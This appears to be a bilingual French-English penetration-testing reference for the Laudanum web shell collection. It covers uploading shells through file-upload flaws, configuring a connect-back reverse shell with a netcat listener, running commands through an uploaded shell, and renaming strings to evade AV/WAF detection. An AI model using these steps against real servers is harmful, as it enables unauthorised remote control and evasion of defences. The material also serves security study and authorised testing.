laudanum

Collection de fichiers webshells injectables. Fournit des shells ASP, ASPX, PHP, JSP et CFM prêts à l'emploi pour les environnements de serveurs web courants, utilisés après une vulnérabilité d'upload de fichier pour établir une exécution de commandes via le web. Collection of injectable web shell files. Provides ASP, ASPX, PHP, JSP, and CFM shells pre-built for common web server environments — used after file upload vulnerabilities to establish web-based command execution.

↗ https://github.com/jbarcia/web-shells

Overview

Laudanum is a collection of pre-built web shells in multiple languages (PHP, ASP, ASPX, JSP, CFML) designed for quick deployment after exploiting file upload vulnerabilities. The shells are more featureful than simple one-liners, providing command execution, file browsing, and database access.

Installation

sudo apt install laudanum

→ Files installed to: /usr/share/laudanum/

Available Shells

ls /usr/share/laudanum/

→ asp/ — ASP shells (Windows/IIS) aspx/ — ASP.NET shells (IIS/.NET) php/ — PHP shells (Apache/Nginx) jsp/ — Java Server Pages (Tomcat) cfm/ — ColdFusion markup language

PHP shells:

ls /usr/share/laudanum/php/

→ php-reverse-shell.php — connect-back shell phpshell.php — browser-based command shell dns-txt-php.php — DNS tunneled shell

ASPX shells:

ls /usr/share/laudanum/aspx/

→ shell.aspx — command execution cmdasp.aspx — classic ASP.NET cmd shell

Deploying PHP Shell

# Modify the reverse shell with your IP/port
cp /usr/share/laudanum/php/php-reverse-shell.php ./shell.php
# Edit shell.php — change $ip and $port variables
nano shell.php
# $ip = '10.10.14.1';  // Your attacker IP
# $port = 4444;        // Your listening port

# Upload via file upload vulnerability
# Navigate to: http://target.com/uploads/shell.php

Start listener first

nc -lvnp 4444

Deploying ASPX Shell

Copy and upload

cp /usr/share/laudanum/aspx/shell.aspx ./shell.aspx

→ Upload to target IIS server

# Access via browser:
# http://target.com/uploads/shell.aspx
# Enter command → execute

PHP Command Shell

# phpshell.php provides a browser interface with:
# - Command execution
# - File browser
# - PHP info disclosure

Deploy and access:

curl http://target.com/uploads/phpshell.php?cmd=id

Customizing Before Use

# Always review and customize before deploying:
# 1. Change password if shell has authentication
# 2. Set callback IP/port for reverse shells
# 3. Remove any hardcoded demo content

For OPSEC: modify distinctive strings to avoid AV/WAF signatures

sed -i 's/Laudanum/LegitApp/g' shell.php

Tips

  • Always test file upload shells on a local lab before using in real assessments
  • WAFs may detect Laudanum signatures — obfuscate or use a custom shell
  • JSP shells work on Tomcat/JBoss/GlassFish — very common in enterprise apps
  • After establishing shell access, consider upgrading to a full reverse shell for better stability
  • Check file extension restrictions and MIME type validation when uploading
Help / Man page
Laudanum location: /usr/share/laudanum/

Directory structure:
  asp/     ASP shells
  aspx/    ASP.NET shells
  php/     PHP shells (including reverse shell)
  jsp/     JSP shells
  cfm/     ColdFusion shells

Usage: Copy desired shell, customize (IP/port/password),
       upload to target, trigger via HTTP request.

Vue d’ensemble

Laudanum est une collection de webshells prêts à l’emploi dans plusieurs langages (PHP, ASP, ASPX, JSP, CFML) conçus pour un déploiement rapide après l’exploitation d’une vulnérabilité d’upload de fichier. Ces shells sont plus complets que de simples one-liners, offrant exécution de commandes, navigation de fichiers et accès aux bases de données.

Installation

sudo apt install laudanum

→ Fichiers installés dans : /usr/share/laudanum/

Shells disponibles

# Lister tous les shells disponibles
ls /usr/share/laudanum/

# Shells PHP
ls /usr/share/laudanum/php/

# Shells ASPX
ls /usr/share/laudanum/aspx/

→ asp/ : shells ASP (Windows/IIS), aspx/ : shells ASP.NET (IIS/.NET), php/ : shells PHP (Apache/Nginx), jsp/ : Java Server Pages (Tomcat), cfm/ : langage de balisage ColdFusion

→ php-reverse-shell.php : shell de connexion retour (connect-back), phpshell.php : shell de commande via navigateur, dns-txt-php.php : shell tunnelé en DNS

→ shell.aspx : exécution de commandes, cmdasp.aspx : shell cmd ASP.NET classique

Déploiement du shell PHP

# Modifier le reverse shell avec votre IP/port
cp /usr/share/laudanum/php/php-reverse-shell.php ./shell.php
# Éditer shell.php : changer les variables $ip et $port
nano shell.php
# $ip = '10.10.14.1';  // Votre IP d'attaquant
# $port = 4444;        // Votre port d'écoute

# Uploader via la vulnérabilité d'upload de fichier
# Naviguer vers : http://target.com/uploads/shell.php

# Démarrer le listener au préalable
nc -lvnp 4444

Déploiement du shell ASPX

# Copier et uploader vers le serveur IIS cible
cp /usr/share/laudanum/aspx/shell.aspx ./shell.aspx

# Accéder via le navigateur :
# http://target.com/uploads/shell.aspx
# Saisir la commande → exécuter

Shell de commande PHP

# phpshell.php fournit une interface navigateur avec :
# - Exécution de commandes
# - Navigateur de fichiers
# - Divulgation d'informations PHP

# Déployer et accéder :
curl http://target.com/uploads/phpshell.php?cmd=id

Personnalisation avant utilisation

# Toujours vérifier et personnaliser avant le déploiement :
# 1. Changer le mot de passe si le shell a une authentification
# 2. Définir l'IP/port de callback pour les reverse shells
# 3. Supprimer tout contenu de démo codé en dur

# Pour l'OPSEC : modifier les chaînes distinctives pour éviter les signatures AV/WAF
sed -i 's/Laudanum/LegitApp/g' shell.php

Conseils

  • Toujours tester les shells d’upload de fichier sur un lab local avant de les utiliser lors d’un vrai audit
  • Les WAF peuvent détecter les signatures de Laudanum : obfusquer ou utiliser un shell personnalisé
  • Les shells JSP fonctionnent sur Tomcat/JBoss/GlassFish, très courants dans les applications d’entreprise
  • Après avoir établi l’accès au shell, envisager de passer à un reverse shell complet pour plus de stabilité
  • Vérifier les restrictions d’extension de fichier et la validation du type MIME lors de l’upload
Aide / Page de manuel
Laudanum location: /usr/share/laudanum/

Directory structure:
  asp/     ASP shells
  aspx/    ASP.NET shells
  php/     PHP shells (including reverse shell)
  jsp/     JSP shells
  cfm/     ColdFusion shells

Usage: Copy desired shell, customize (IP/port/password),
       upload to target, trigger via HTTP request.